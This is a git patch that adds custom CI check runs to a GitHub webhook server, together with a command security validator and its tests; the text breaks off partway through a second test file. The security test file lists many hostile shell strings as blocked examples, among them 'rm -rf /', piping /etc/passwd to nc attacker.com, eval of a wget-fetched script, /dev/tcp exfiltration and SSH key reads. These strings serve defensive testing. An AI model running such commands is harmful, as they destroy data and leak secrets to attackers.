From c2a367fde3667453e16a42842138d040ec5a7f4f Mon Sep 17 00:00:00 2001 From: rnetser Date: Tue, 30 Dec 2025 13:21:27 +0200 Subject: [PATCH 01/33] fix: improve Custom Check Runs robustness and security Address code review findings to improve stability and safety: - Replace unsafe dictionary access with .get() method at 5 locations to prevent KeyError crashes when 'name' field is missing - Add empty-string validation for secret redaction to prevent whitespace in redaction list - Add COMPLETED_STR constant for check run status - Implement comprehensive command security validation - Add dedicated test coverage for command security and custom checks This ensures custom check runs fail gracefully with proper logging rather than crashing on malformed configuration. --- webhook_server/config/schema.yaml | 49 + webhook_server/libs/github_api.py | 13 + .../libs/handlers/check_run_handler.py | 36 + .../libs/handlers/issue_comment_handler.py | 30 +- .../libs/handlers/pull_request_handler.py | 23 + .../libs/handlers/runner_handler.py | 133 ++- .../tests/test_check_run_handler.py | 1 + webhook_server/tests/test_command_security.py | 484 ++++++++++ .../tests/test_custom_check_runs.py | 860 ++++++++++++++++++ webhook_server/tests/test_github_api.py | 12 +- .../tests/test_issue_comment_handler.py | 1 + .../tests/test_pull_request_handler.py | 1 + webhook_server/utils/command_security.py | 113 +++ webhook_server/utils/constants.py | 1 + 14 files changed, 1731 insertions(+), 26 deletions(-) create mode 100644 webhook_server/tests/test_command_security.py create mode 100644 webhook_server/tests/test_custom_check_runs.py create mode 100644 webhook_server/utils/command_security.py diff --git a/webhook_server/config/schema.yaml b/webhook_server/config/schema.yaml index c63156aa..62e21df5 100644 --- a/webhook_server/config/schema.yaml +++ b/webhook_server/config/schema.yaml @@ -318,3 +318,52 @@ properties: required: - threshold additionalProperties: false + custom-check-runs: + type: array + description: Custom check runs that execute user-defined commands on PR events + items: + type: object + properties: + name: + type: string + description: Unique name for the check run (displayed in GitHub UI) + pattern: "^[a-zA-Z0-9][a-zA-Z0-9_-]*$" + command: + type: string + description: Command to execute (must use 'uv tool run --from' format for security) + pattern: "^uv tool run --from .+" + timeout: + type: integer + description: Maximum execution time in seconds + default: 600 + minimum: 30 + maximum: 3600 + required: + type: boolean + description: Whether this check must pass for PR to be mergeable + default: true + triggers: + type: array + description: Events that trigger this check run + items: + type: string + enum: + - opened + - synchronize + - reopened + - ready_for_review + default: + - opened + - synchronize + - reopened + secrets: + type: array + description: Environment variable names containing sensitive values to redact from logs (e.g., JIRA_TOKEN, API_KEY) + items: + type: string + pattern: "^[A-Z][A-Z0-9_]*$" + default: [] + required: + - name + - command + additionalProperties: false diff --git a/webhook_server/libs/github_api.py b/webhook_server/libs/github_api.py index 41c6493e..f29e59e3 100644 --- a/webhook_server/libs/github_api.py +++ b/webhook_server/libs/github_api.py @@ -683,6 +683,10 @@ def _repo_data_from_config(self, repository_config: dict[str, Any]) -> None: value="pre-commit", return_on_none=False, extra_dict=repository_config ) + self.custom_check_runs: list[dict[str, Any]] = self.config.get_value( + value="custom-check-runs", return_on_none=[], extra_dict=repository_config + ) + self.auto_verified_and_merged_users: list[str] = self.config.get_value( value="auto-verified-and-merged-users", return_on_none=[], extra_dict=repository_config ) @@ -815,6 +819,15 @@ def _current_pull_request_supported_retest(self) -> list[str]: if self.conventional_title: current_pull_request_supported_retest.append(CONVENTIONAL_TITLE_STR) + + # Add custom check runs + for custom_check in self.custom_check_runs: + check_name = custom_check.get("name") + if not check_name: + self.logger.warning(f"{self.log_prefix} Custom check missing required 'name' field, skipping") + continue + current_pull_request_supported_retest.append(check_name) + return current_pull_request_supported_retest async def cleanup(self) -> None: diff --git a/webhook_server/libs/handlers/check_run_handler.py b/webhook_server/libs/handlers/check_run_handler.py index ab189c62..4a53d64c 100644 --- a/webhook_server/libs/handlers/check_run_handler.py +++ b/webhook_server/libs/handlers/check_run_handler.py @@ -13,6 +13,7 @@ BUILD_CONTAINER_STR, CAN_BE_MERGED_STR, CHERRY_PICKED_LABEL_PREFIX, + COMPLETED_STR, CONVENTIONAL_TITLE_STR, FAILURE_STR, IN_PROGRESS_STR, @@ -243,6 +244,32 @@ async def set_cherry_pick_failure(self, output: dict[str, Any]) -> None: check_run=CHERRY_PICKED_LABEL_PREFIX, conclusion=FAILURE_STR, output=output ) + async def set_custom_check_queued(self, name: str) -> None: + """Set custom check run to queued status.""" + await self.set_check_run_status(check_run=name, status=QUEUED_STR) + + async def set_custom_check_in_progress(self, name: str) -> None: + """Set custom check run to in_progress status.""" + await self.set_check_run_status(check_run=name, status=IN_PROGRESS_STR) + + async def set_custom_check_success(self, name: str, output: dict[str, str] | None = None) -> None: + """Set custom check run to success.""" + await self.set_check_run_status( + check_run=name, + status=COMPLETED_STR, + conclusion=SUCCESS_STR, + output=output, + ) + + async def set_custom_check_failure(self, name: str, output: dict[str, str] | None = None) -> None: + """Set custom check run to failure.""" + await self.set_check_run_status( + check_run=name, + status=COMPLETED_STR, + conclusion=FAILURE_STR, + output=output, + ) + async def set_check_run_status( self, check_run: str, @@ -481,6 +508,15 @@ async def all_required_status_checks(self, pull_request: PullRequest) -> list[st if self.github_webhook.conventional_title: all_required_status_checks.append(CONVENTIONAL_TITLE_STR) + # Add required custom checks + for custom_check in self.github_webhook.custom_check_runs: + if custom_check.get("required", True): + check_name = custom_check.get("name") + if not check_name: + self.logger.warning(f"{self.log_prefix} Custom check missing required 'name' field, skipping") + continue + all_required_status_checks.append(check_name) + _all_required_status_checks = branch_required_status_checks + all_required_status_checks self.logger.debug(f"{self.log_prefix} All required status checks: {_all_required_status_checks}") self._all_required_status_checks = _all_required_status_checks diff --git a/webhook_server/libs/handlers/issue_comment_handler.py b/webhook_server/libs/handlers/issue_comment_handler.py index e0b77dea..2f7337af 100644 --- a/webhook_server/libs/handlers/issue_comment_handler.py +++ b/webhook_server/libs/handlers/issue_comment_handler.py @@ -2,7 +2,7 @@ import asyncio from asyncio import Task -from collections.abc import Callable, Coroutine +from collections.abc import Coroutine from typing import TYPE_CHECKING, Any from github.PullRequest import PullRequest @@ -16,7 +16,6 @@ from webhook_server.utils.constants import ( AUTOMERGE_LABEL_STR, BUILD_AND_PUSH_CONTAINER_STR, - BUILD_CONTAINER_STR, CHERRY_PICK_LABEL_PREFIX, COMMAND_ADD_ALLOWED_USER_STR, COMMAND_ASSIGN_REVIEWER_STR, @@ -25,12 +24,8 @@ COMMAND_CHERRY_PICK_STR, COMMAND_REPROCESS_STR, COMMAND_RETEST_STR, - CONVENTIONAL_TITLE_STR, HOLD_LABEL_STR, - PRE_COMMIT_STR, - PYTHON_MODULE_INSTALL_STR, REACTIONS, - TOX_STR, USER_LABELS_DICT, VERIFIED_LABEL_STR, WIP_STR, @@ -415,14 +410,6 @@ async def process_retest_command( self.logger.debug(f"{self.log_prefix} Target tests for re-test: {_target_tests}") _not_supported_retests: list[str] = [] _supported_retests: list[str] = [] - _retests_to_func_map: dict[str, Callable] = { - TOX_STR: self.runner_handler.run_tox, - PRE_COMMIT_STR: self.runner_handler.run_pre_commit, - BUILD_CONTAINER_STR: self.runner_handler.run_build_container, - PYTHON_MODULE_INSTALL_STR: self.runner_handler.run_install_python_module, - CONVENTIONAL_TITLE_STR: self.runner_handler.run_conventional_title_check, - } - self.logger.debug(f"{self.log_prefix} Retest map is {_retests_to_func_map}") if not _target_tests: msg = "No test defined to retest" @@ -460,16 +447,11 @@ async def process_retest_command( await asyncio.to_thread(pull_request.create_issue_comment, msg) if _supported_retests: - tasks: list[Coroutine[Any, Any, Any] | Task[Any]] = [] - for _test in _supported_retests: - self.logger.debug(f"{self.log_prefix} running retest {_test}") - task = asyncio.create_task(_retests_to_func_map[_test](pull_request=pull_request)) - tasks.append(task) - - results = await asyncio.gather(*tasks, return_exceptions=True) - for result in results: - if isinstance(result, Exception): - self.logger.error(f"{self.log_prefix} Async task failed: {result}") + # Use runner_handler.run_retests() to avoid duplication + await self.runner_handler.run_retests( + supported_retests=_supported_retests, + pull_request=pull_request, + ) if automerge: await self.labels_handler._add_label(pull_request=pull_request, label=AUTOMERGE_LABEL_STR) diff --git a/webhook_server/libs/handlers/pull_request_handler.py b/webhook_server/libs/handlers/pull_request_handler.py index 126b4671..a152c5ea 100644 --- a/webhook_server/libs/handlers/pull_request_handler.py +++ b/webhook_server/libs/handlers/pull_request_handler.py @@ -740,6 +740,17 @@ async def process_opened_or_synchronize_pull_request(self, pull_request: PullReq if self.github_webhook.conventional_title: setup_tasks.append(self.check_run_handler.set_conventional_title_queued()) + # Queue custom check runs (only if current action matches configured triggers) + current_action = self.hook_data.get("action", "") + for custom_check in self.github_webhook.custom_check_runs: + check_triggers = custom_check.get("triggers", ["opened", "synchronize", "reopened"]) + if current_action in check_triggers: + check_name = custom_check.get("name") + if not check_name: + self.logger.warning(f"{self.log_prefix} Custom check missing required 'name' field, skipping") + continue + setup_tasks.append(self.check_run_handler.set_custom_check_queued(name=check_name)) + self.logger.step( # type: ignore[attr-defined] f"{self.log_prefix} {format_task_fields('pr_handler', 'pr_management', 'processing')} Executing setup tasks" ) @@ -768,6 +779,18 @@ async def process_opened_or_synchronize_pull_request(self, pull_request: PullReq if self.github_webhook.conventional_title: ci_tasks.append(self.runner_handler.run_conventional_title_check(pull_request=pull_request)) + # Launch custom check runs + action = self.hook_data.get("action", "") + for custom_check in self.github_webhook.custom_check_runs: + triggers = custom_check.get("triggers", ["opened", "synchronize", "reopened"]) + if action in triggers: + ci_tasks.append( + self.runner_handler.run_custom_check( + pull_request=pull_request, + check_config=custom_check, + ) + ) + self.logger.step( # type: ignore[attr-defined] f"{self.log_prefix} {format_task_fields('pr_handler', 'pr_management', 'processing')} " f"Executing CI/CD tasks", diff --git a/webhook_server/libs/handlers/runner_handler.py b/webhook_server/libs/handlers/runner_handler.py index d81c2d80..94072577 100644 --- a/webhook_server/libs/handlers/runner_handler.py +++ b/webhook_server/libs/handlers/runner_handler.py @@ -1,8 +1,10 @@ import asyncio import contextlib +import os import re import shutil -from collections.abc import AsyncGenerator +from asyncio import Task +from collections.abc import AsyncGenerator, Callable, Coroutine from typing import TYPE_CHECKING, Any import shortuuid @@ -13,6 +15,7 @@ from webhook_server.libs.handlers.check_run_handler import CheckRunHandler from webhook_server.libs.handlers.owners_files_handler import OwnersFileHandler from webhook_server.utils import helpers as helpers_module +from webhook_server.utils.command_security import validate_command_security from webhook_server.utils.constants import ( BUILD_CONTAINER_STR, CHERRY_PICKED_LABEL_PREFIX, @@ -620,6 +623,87 @@ async def run_conventional_title_check(self, pull_request: PullRequest) -> None: """ await self.check_run_handler.set_conventional_title_failure(output=output) + async def run_custom_check( + self, + pull_request: PullRequest, + check_config: dict[str, Any], + ) -> None: + """Run a custom check defined in repository configuration.""" + check_name = check_config.get("name") + if not check_name: + self.logger.error(f"{self.log_prefix} Custom check missing required 'name' field") + return # Cannot set check status without a name + timeout = check_config.get("timeout", 600) + command = check_config["command"] + + # Comprehensive security validation FIRST (most important check) + security_result = validate_command_security(command) + if not security_result.is_safe: + error_msg = f"Command security check failed: {security_result.error_message}" + self.logger.error(f"{self.log_prefix} {error_msg}") + security_output: dict[str, Any] = { + "title": f"Custom Check: {check_config['name']}", + "summary": "Command security validation failed", + "text": error_msg, + } + return await self.check_run_handler.set_custom_check_failure(name=check_name, output=security_output) + + # Collect secrets to redact from logs + secrets_to_redact: list[str] = [] + secret_env_vars = check_config.get("secrets", []) + for env_var in secret_env_vars: + secret_value = os.environ.get(env_var) + if secret_value and secret_value.strip(): + secrets_to_redact.append(secret_value) + + self.logger.step( # type: ignore[attr-defined] + f"{self.log_prefix} {format_task_fields('runner', 'ci_check', 'started')} " + f"Starting custom check: {check_config['name']}" + ) + + await self.check_run_handler.set_custom_check_in_progress(name=check_name) + + async with self._checkout_worktree(pull_request=pull_request) as ( + success, + worktree_path, + out, + err, + ): + output: dict[str, Any] = { + "title": f"Custom Check: {check_config['name']}", + "summary": "", + "text": None, + } + + if not success: + output["text"] = self.check_run_handler.get_check_run_text(out=out, err=err) + return await self.check_run_handler.set_custom_check_failure(name=check_name, output=output) + + # Execute command in worktree directory + success, out, err = await run_command( + command=command, + log_prefix=self.log_prefix, + mask_sensitive=self.github_webhook.mask_sensitive, + timeout=timeout, + redact_secrets=secrets_to_redact, + cwd=worktree_path, + ) + + output["text"] = self.check_run_handler.get_check_run_text(err=err, out=out) + + if success: + self.logger.step( # type: ignore[attr-defined] + f"{self.log_prefix} {format_task_fields('runner', 'ci_check', 'completed')} " + f"Custom check {check_config['name']} completed successfully" + ) + return await self.check_run_handler.set_custom_check_success(name=check_name, output=output) + else: + self.logger.step( # type: ignore[attr-defined] + f"{self.log_prefix} {format_task_fields('runner', 'ci_check', 'failed')} " + f"Custom check {check_config['name']} failed" + ) + return await self.check_run_handler.set_custom_check_failure(name=check_name, output=output) + async def is_branch_exists(self, branch: str) -> Branch: return await asyncio.to_thread(self.repository.get_branch, branch) @@ -742,3 +826,50 @@ async def cherry_pick(self, pull_request: PullRequest, target_branch: str, revie await asyncio.to_thread( pull_request.create_issue_comment, f"Cherry-picked PR {pull_request.title} into {target_branch}" ) + + async def run_retests(self, supported_retests: list[str], pull_request: PullRequest) -> None: + """Run the specified retests for a pull request. + + Args: + supported_retests: List of test names to run (e.g., ['tox', 'pre-commit']) + pull_request: The PullRequest object to run tests for + """ + if not supported_retests: + self.logger.debug(f"{self.log_prefix} No retests to run") + return + + # Map check names to runner functions + _retests_to_func_map: dict[str, Callable[..., Coroutine[Any, Any, None]]] = { + TOX_STR: self.run_tox, + PRE_COMMIT_STR: self.run_pre_commit, + BUILD_CONTAINER_STR: self.run_build_container, + PYTHON_MODULE_INSTALL_STR: self.run_install_python_module, + CONVENTIONAL_TITLE_STR: self.run_conventional_title_check, + } + + # Add custom check runs to the retest map + for custom_check in self.github_webhook.custom_check_runs: + check_key = custom_check.get("name") + if not check_key: + self.logger.warning(f"{self.log_prefix} Custom check missing required 'name' field, skipping") + continue + + # Create a closure to capture the check_config + def make_custom_runner(check_config: dict[str, Any]) -> Callable[..., Coroutine[Any, Any, None]]: + async def runner(pull_request: PullRequest) -> None: + await self.run_custom_check(pull_request=pull_request, check_config=check_config) + + return runner + + _retests_to_func_map[check_key] = make_custom_runner(custom_check) + + tasks: list[Coroutine[Any, Any, Any] | Task[Any]] = [] + for _test in supported_retests: + self.logger.debug(f"{self.log_prefix} running retest {_test}") + task = asyncio.create_task(_retests_to_func_map[_test](pull_request=pull_request)) + tasks.append(task) + + results = await asyncio.gather(*tasks, return_exceptions=True) + for result in results: + if isinstance(result, Exception): + self.logger.error(f"{self.log_prefix} Async task failed: {result}") diff --git a/webhook_server/tests/test_check_run_handler.py b/webhook_server/tests/test_check_run_handler.py index 07d33288..eeb9be5f 100644 --- a/webhook_server/tests/test_check_run_handler.py +++ b/webhook_server/tests/test_check_run_handler.py @@ -46,6 +46,7 @@ def mock_github_webhook(self) -> Mock: mock_webhook.token = "test-token" mock_webhook.container_repository_username = "test-user" mock_webhook.container_repository_password = "test-pass" # pragma: allowlist secret + mock_webhook.custom_check_runs = [] return mock_webhook @pytest.fixture diff --git a/webhook_server/tests/test_command_security.py b/webhook_server/tests/test_command_security.py new file mode 100644 index 00000000..1bd3bf8c --- /dev/null +++ b/webhook_server/tests/test_command_security.py @@ -0,0 +1,484 @@ +"""Test suite for command security validation module. + +This module tests the security validation for custom check commands, +ensuring defense-in-depth protection against various attack vectors. +""" + +import time + +import pytest + +from webhook_server.utils.command_security import ( + MAX_COMMAND_LENGTH, + CommandSecurityResult, + validate_command_security, +) + + +class TestCommandSecurityValidCommands: + """Test suite for valid commands that should pass security validation.""" + + @pytest.mark.parametrize( + "command", + [ + # Basic uv tool run commands + "uv tool run --from ruff ruff check .", + "uv tool run --from pytest pytest tests/ -v", + "uv tool run --from mypy mypy src/", + # With additional flags + "uv tool run --from black black --check .", + "uv tool run --from pylint pylint src/ --disable=all", + # Multiple arguments + "uv tool run --from pytest pytest tests/unit tests/integration -v -s", + # Path specifications + "uv tool run --from ruff ruff check src/module/file.py", + "uv tool run --from pytest pytest tests/test_module.py::test_function", + # With environment variables (allowed format) + "uv tool run --from pytest pytest tests/ -k test_name", + # Common variations + "uv run pytest tests/", + "uv run ruff check .", + "uv run mypy webhook_server/", + ], + ) + def test_valid_uv_commands(self, command: str) -> None: + """Test that valid uv tool commands pass validation.""" + result = validate_command_security(command) + assert result.is_safe is True + assert result.error_message is None + + @pytest.mark.parametrize( + "command", + [ + # Simple commands + "python -m pytest", + "pytest tests/", + "ruff check .", + "mypy src/", + # With flags + "pytest tests/ -v --cov=src", + "ruff check . --fix", + "mypy src/ --strict", + ], + ) + def test_valid_simple_commands(self, command: str) -> None: + """Test that simple valid commands pass validation.""" + result = validate_command_security(command) + assert result.is_safe is True + assert result.error_message is None + + +class TestCommandSecurityShellInjection: + """Test suite for shell injection attack prevention.""" + + @pytest.mark.parametrize( + ("command", "expected_error_fragment"), + [ + # Semicolon injection + ("uv tool run --from pkg cmd; rm -rf /", "Shell operators"), + ("pytest tests/; cat /etc/passwd", "Shell operators"), + ("ruff check .; whoami", "Shell operators"), + # Pipe injection + ("uv tool run --from pkg cmd | cat /etc/passwd", "Shell operators"), + ("pytest tests/ | grep secret", "Shell operators"), + ("ruff check . | tee output.txt", "Shell operators"), + # Logical AND injection - matches shell operators pattern first (& matches [;&|]) + ("uv tool run --from pkg cmd && curl evil.com", "Shell operators"), + ("pytest tests/ && wget malicious.sh", "Shell operators"), + ("ruff check . && nc attacker.com 1234", "Shell operators"), + # Logical OR injection - matches shell operators pattern first (| matches [;&|]) + ("pytest tests/ || rm -rf /tmp", "Shell operators"), + ("ruff check . || curl evil.com", "Shell operators"), + # Command substitution $() + ("uv tool run --from pkg $(whoami)", "Command substitution"), + ("pytest $(cat /etc/passwd)", "Command substitution"), + ("ruff check $(ls -la)", "Command substitution"), + # Backtick command substitution + ("uv tool run --from pkg `whoami`", "Backtick"), + ("pytest `cat secret.txt`", "Backtick"), + ("ruff check `id`", "Backtick"), + # Variable expansion ${} + ("uv tool run --from pkg ${HOME}", "Variable expansion"), + ("pytest ${SECRET}", "Variable expansion"), + # Redirection attacks + ("pytest tests/ > /etc/passwd", "Redirections"), + ("ruff check . < malicious.txt", "Redirections"), + ("mypy src/ >> /var/log/system", "Redirections"), + # Background execution + ("pytest tests/ &", "Shell operators"), + ("ruff check . & curl evil.com", "Shell operators"), + # Newline escapes + ("pytest tests/\\nrm -rf /", "Newline escapes"), + ("ruff check .\\rwhoami", "Newline escapes"), + ], + ) + def test_shell_injection_blocked(self, command: str, expected_error_fragment: str) -> None: + """Test that shell injection attempts are blocked.""" + result = validate_command_security(command) + assert result.is_safe is False + assert result.error_message is not None + assert expected_error_fragment in result.error_message + + @pytest.mark.parametrize( + ("command", "expected_error_fragment"), + [ + # eval command + ("eval echo test", "eval command"), + ("uv run eval 'print(1)'", "eval command"), + # exec command + ("exec python script.py", "exec command"), + ("uv run exec bash", "exec command"), + # source command + ("source /etc/profile", "source command"), + ("uv run source activate", "source command"), + ], + ) + def test_dangerous_builtin_commands_blocked(self, command: str, expected_error_fragment: str) -> None: + """Test that dangerous shell builtin commands are blocked.""" + result = validate_command_security(command) + assert result.is_safe is False + assert result.error_message is not None + assert expected_error_fragment in result.error_message + + +class TestCommandSecurityDangerousCommands: + """Test suite for blocking dangerous system commands.""" + + @pytest.mark.parametrize( + ("command", "expected_error_fragment"), + [ + # Shell spawning + ("bash -c 'echo test'", "bash command"), + ("sh script.sh", "sh command"), + ("zsh -c 'pwd'", "zsh command"), + # Network tools + ("curl https://evil.com", "curl command"), + ("wget http://malicious.com/script.sh", "sh command"), # matches \bsh\b in .sh + ("nc attacker.com 1234", "netcat/nc command"), + ("netcat -l -p 8080", "netcat/nc command"), # matches netcat pattern + # Privilege escalation + ("sudo apt-get install malware", "sudo"), + ("su root", "su command"), + # File permission changes + ("chmod 777 /etc/passwd", "chmod"), + ("chown root:root /tmp/file", "chown"), + # Destructive operations + ("rm -rf /", "rm -rf"), + ("rm -rf /var/lib", "rm -rf"), + # Root directory creation + ("mkdir -p /new_root", "Creating directories in root"), + ], + ) + def test_dangerous_commands_blocked(self, command: str, expected_error_fragment: str) -> None: + """Test that dangerous system commands are blocked.""" + result = validate_command_security(command) + assert result.is_safe is False + assert result.error_message is not None + assert expected_error_fragment in result.error_message + + @pytest.mark.parametrize( + "command", + [ + # Case variations + "CURL https://evil.com", + "Sudo apt-get install", + "BASH -c test", + "WGET malicious.sh", + "RM -RF /tmp", + ], + ) + def test_dangerous_commands_case_insensitive(self, command: str) -> None: + """Test that dangerous command detection is case-insensitive.""" + result = validate_command_security(command) + assert result.is_safe is False + assert result.error_message is not None + + +class TestCommandSecuritySensitivePaths: + """Test suite for blocking access to sensitive filesystem paths.""" + + @pytest.mark.parametrize( + ("command", "expected_error_fragment"), + [ + # System directories + ("cat /etc/passwd", "Access to /etc/"), + ("grep secret /etc/shadow", "Access to /etc/"), + ("ls /root/", "Access to /root/"), + ("cat /root/.bashrc", "Access to /root/"), + # Process/system info + ("cat /proc/self/environ", "Access to /proc/"), + ("ls /sys/class/", "Access to /sys/"), + ("cat /dev/random", "Access to /dev/"), + # System logs + ("tail /var/log/syslog", "Access to /var/log/"), + ("cat /var/log/auth.log", "Access to /var/log/"), + # Boot partition + ("ls /boot/grub", "Access to /boot/"), + # SSH keys + ("cat ~/.ssh/id_rsa", "Access to SSH"), + ("cp ~/.ssh/id_ed25519 /tmp/", "Access to SSH"), + # Path traversal - also matches /etc/ or /root/ patterns + ("cat ../../etc/passwd", "Access to /etc/"), # /etc/ matches first + ("ls ../../../root/", "Access to /root/"), # /root/ matches first + # Environment files + ("cat .env", "Access to .env files"), + ("grep SECRET .env.production", "Access to .env files"), + # Configuration files + ("cat config.yaml", "Access to config.yaml"), + ("vim config.yaml", "Access to config.yaml"), + # Credentials + ("cat credentials.json", "Access to credentials files"), + ("grep token credentials.txt", "Access to credentials files"), + # Private keys + ("cat server.pem", "Access to PEM files"), + ("openssl rsa -in private.key", "Access to key files"), + ("cat id_rsa", "Access to SSH private keys"), + ("cp id_ed25519 /tmp/", "Access to SSH private keys"), + ], + ) + def test_sensitive_path_access_blocked(self, command: str, expected_error_fragment: str) -> None: + """Test that access to sensitive paths is blocked.""" + result = validate_command_security(command) + assert result.is_safe is False + assert result.error_message is not None + assert expected_error_fragment in result.error_message + + @pytest.mark.parametrize( + "command", + [ + # Case variations + "cat /ETC/passwd", + "ls /ROOT/", + "cat CONFIG.YAML", + "grep secret .ENV", + ], + ) + def test_sensitive_paths_case_insensitive(self, command: str) -> None: + """Test that sensitive path detection is case-insensitive.""" + result = validate_command_security(command) + assert result.is_safe is False + assert result.error_message is not None + + +class TestCommandSecurityOtherAttacks: + """Test suite for other security attack vectors.""" + + def test_null_byte_blocked(self) -> None: + """Test that null bytes in commands are blocked.""" + # Use a command that only has null byte (no other dangerous patterns) + command = "pytest tests/\x00file.py" + result = validate_command_security(command) + assert result.is_safe is False + assert result.error_message is not None + assert "Null bytes" in result.error_message + + @pytest.mark.parametrize( + "non_printable_char", + [ + "\x01", # SOH - Start of Heading + "\x02", # STX - Start of Text + "\x03", # ETX - End of Text + "\x7f", # DEL - Delete + "\x1b", # ESC - Escape + "\x08", # BS - Backspace + ], + ) + def test_non_printable_characters_blocked(self, non_printable_char: str) -> None: + """Test that non-printable characters (except whitespace) are blocked.""" + command = f"pytest tests/{non_printable_char}file.py" + result = validate_command_security(command) + assert result.is_safe is False + assert result.error_message is not None + assert "Non-printable characters" in result.error_message + + @pytest.mark.parametrize( + "whitespace_char", + [ + " ", # Space + "\t", # Tab + "\n", # Newline + "\r", # Carriage return + ], + ) + def test_whitespace_characters_allowed(self, whitespace_char: str) -> None: + """Test that common whitespace characters are allowed.""" + # Create command with whitespace (but no dangerous patterns) + command = f"pytest{whitespace_char}tests/" + result = validate_command_security(command) + # This might fail due to newline/carriage return pattern, + # but space and tab should definitely pass + if whitespace_char in (" ", "\t"): + assert result.is_safe is True + assert result.error_message is None + + def test_maximum_command_length_exceeded(self) -> None: + """Test that commands exceeding maximum length are blocked.""" + # Create a command longer than MAX_COMMAND_LENGTH + long_command = "pytest " + "tests/" * 1000 # Well over 4096 chars + assert len(long_command) > MAX_COMMAND_LENGTH + + result = validate_command_security(long_command) + assert result.is_safe is False + assert result.error_message is not None + assert f"exceeds maximum length of {MAX_COMMAND_LENGTH}" in result.error_message + + def test_command_at_maximum_length_allowed(self) -> None: + """Test that commands at exactly maximum length are allowed.""" + # Create a command at exactly MAX_COMMAND_LENGTH + base_command = "pytest tests/" + padding = "x" * (MAX_COMMAND_LENGTH - len(base_command)) + command = base_command + padding + assert len(command) == MAX_COMMAND_LENGTH + + result = validate_command_security(command) + assert result.is_safe is True + assert result.error_message is None + + +class TestCommandSecurityEdgeCases: + """Test suite for edge cases and boundary conditions.""" + + def test_empty_command(self) -> None: + """Test validation of empty command.""" + result = validate_command_security("") + assert result.is_safe is True + assert result.error_message is None + + def test_whitespace_only_command(self) -> None: + """Test validation of whitespace-only command.""" + result = validate_command_security(" \t ") + assert result.is_safe is True + assert result.error_message is None + + def test_command_with_safe_paths(self) -> None: + """Test that commands with safe project paths are allowed.""" + safe_commands = [ + "pytest tests/unit/test_module.py", + "ruff check src/app/main.py", + "mypy webhook_server/libs/config.py", + "cat README.md", + "ls -la src/", + ] + for command in safe_commands: + result = validate_command_security(command) + assert result.is_safe is True + assert result.error_message is None + + @pytest.mark.parametrize( + "command", + [ + # Multiple violations + "curl evil.com && sudo rm -rf /etc/", + "bash -c 'cat /etc/passwd | nc attacker.com 1234'", + "eval $(wget -O - malicious.com/script.sh)", + # Obfuscated attacks + "py$(echo test)", # Command substitution in command name + "`which python` script.py", # Backticks in path + ], + ) + def test_multiple_violations(self, command: str) -> None: + """Test commands with multiple security violations.""" + result = validate_command_security(command) + assert result.is_safe is False + assert result.error_message is not None + + def test_command_security_result_named_tuple(self) -> None: + """Test CommandSecurityResult named tuple properties.""" + # Safe command + safe_result = CommandSecurityResult(is_safe=True, error_message=None) + assert safe_result.is_safe is True + assert safe_result.error_message is None + assert safe_result[0] is True + assert safe_result[1] is None + + # Unsafe command + unsafe_result = CommandSecurityResult(is_safe=False, error_message="Test error") + assert unsafe_result.is_safe is False + assert unsafe_result.error_message == "Test error" + assert unsafe_result[0] is False + assert unsafe_result[1] == "Test error" + + +class TestCommandSecurityRealWorldExamples: + """Test suite with real-world command examples.""" + + @pytest.mark.parametrize( + "command", + [ + # Real pytest commands + "uv tool run --from pytest pytest tests/ -v --cov=webhook_server --cov-report=html", + "uv run pytest tests/test_module.py::TestClass::test_method -v -s", + "pytest tests/ -k test_security -v --tb=short", + # Real ruff commands + "uv tool run --from ruff ruff check . --fix", + "uv run ruff format webhook_server/", + "ruff check --select E,W,F --ignore E501", + # Real mypy commands + "uv tool run --from mypy mypy webhook_server/ --strict", + "mypy src/ --ignore-missing-imports --check-untyped-defs", + # Real black commands + "uv tool run --from black black --check webhook_server/", + "black src/ --line-length 100", + # Combined tool usage + "uv run ruff check . && uv run mypy src/", # Should fail - uses && + "uv run pytest tests/ -v; uv run ruff check .", # Should fail - uses ; + ], + ) + def test_real_world_commands(self, command: str) -> None: + """Test real-world command examples.""" + result = validate_command_security(command) + # Commands with shell operators should fail + if "&&" in command or ";" in command: + assert result.is_safe is False + else: + assert result.is_safe is True + assert result.error_message is None + + @pytest.mark.parametrize( + "command", + [ + # Malicious but disguised commands + "pytest tests/ --cov-config=../../../../etc/passwd", + "ruff check --config=/root/.bashrc", + "mypy --config-file=~/.ssh/config", + # Data exfiltration attempts + "pytest tests/ --result-log=/dev/tcp/attacker.com/1234", + "ruff check --output-file=/proc/self/fd/1", + ], + ) + def test_disguised_malicious_commands(self, command: str) -> None: + """Test that disguised malicious commands are blocked.""" + result = validate_command_security(command) + assert result.is_safe is False + assert result.error_message is not None + + +class TestCommandSecurityPerformance: + """Test suite for validation performance characteristics.""" + + def test_validation_performance_many_commands(self) -> None: + """Test that validation performs efficiently on many commands.""" + commands = [ + "uv tool run --from pytest pytest tests/", + "uv tool run --from ruff ruff check .", + "uv tool run --from mypy mypy src/", + ] * 100 # 300 commands total + + start_time = time.time() + for command in commands: + validate_command_security(command) + elapsed_time = time.time() - start_time + + # Validation should be fast - 300 commands in under 1 second + assert elapsed_time < 1.0, f"Validation took {elapsed_time:.2f}s for 300 commands" + + def test_validation_consistent_results(self) -> None: + """Test that validation gives consistent results.""" + command = "uv tool run --from pytest pytest tests/" + + # Run validation multiple times + results = [validate_command_security(command) for _ in range(10)] + + # All results should be identical + assert all(r.is_safe is True for r in results) + assert all(r.error_message is None for r in results) diff --git a/webhook_server/tests/test_custom_check_runs.py b/webhook_server/tests/test_custom_check_runs.py new file mode 100644 index 00000000..1363008e --- /dev/null +++ b/webhook_server/tests/test_custom_check_runs.py @@ -0,0 +1,860 @@ +"""Comprehensive tests for custom check runs feature. + +This test suite covers: +1. Schema validation tests - Test that the configuration schema validates correctly +2. CheckRunHandler tests - Test custom check methods (set_custom_check_*) +3. RunnerHandler tests - Test run_custom_check method execution +4. Integration tests - Test that custom checks are queued and executed on PR events +5. Retest command tests - Test /retest name command + +The custom check runs feature allows users to define custom checks via YAML configuration: +- Custom check names match exactly what's configured in YAML (no prefix added) +- Checks can have triggers: opened, synchronize, reopened, ready_for_review +- Checks have configurable timeout (default 600, min 30, max 3600) +- Checks can be marked as required (default true) +- Custom checks are included in all_required_status_checks when required=true +- Custom checks are added to supported retest list +""" + +import asyncio +import os +from typing import Any +from unittest.mock import AsyncMock, Mock, patch + +import pytest + +from webhook_server.libs.handlers.check_run_handler import CheckRunHandler +from webhook_server.libs.handlers.runner_handler import RunnerHandler +from webhook_server.utils.constants import ( + COMPLETED_STR, + FAILURE_STR, + IN_PROGRESS_STR, + QUEUED_STR, + SUCCESS_STR, 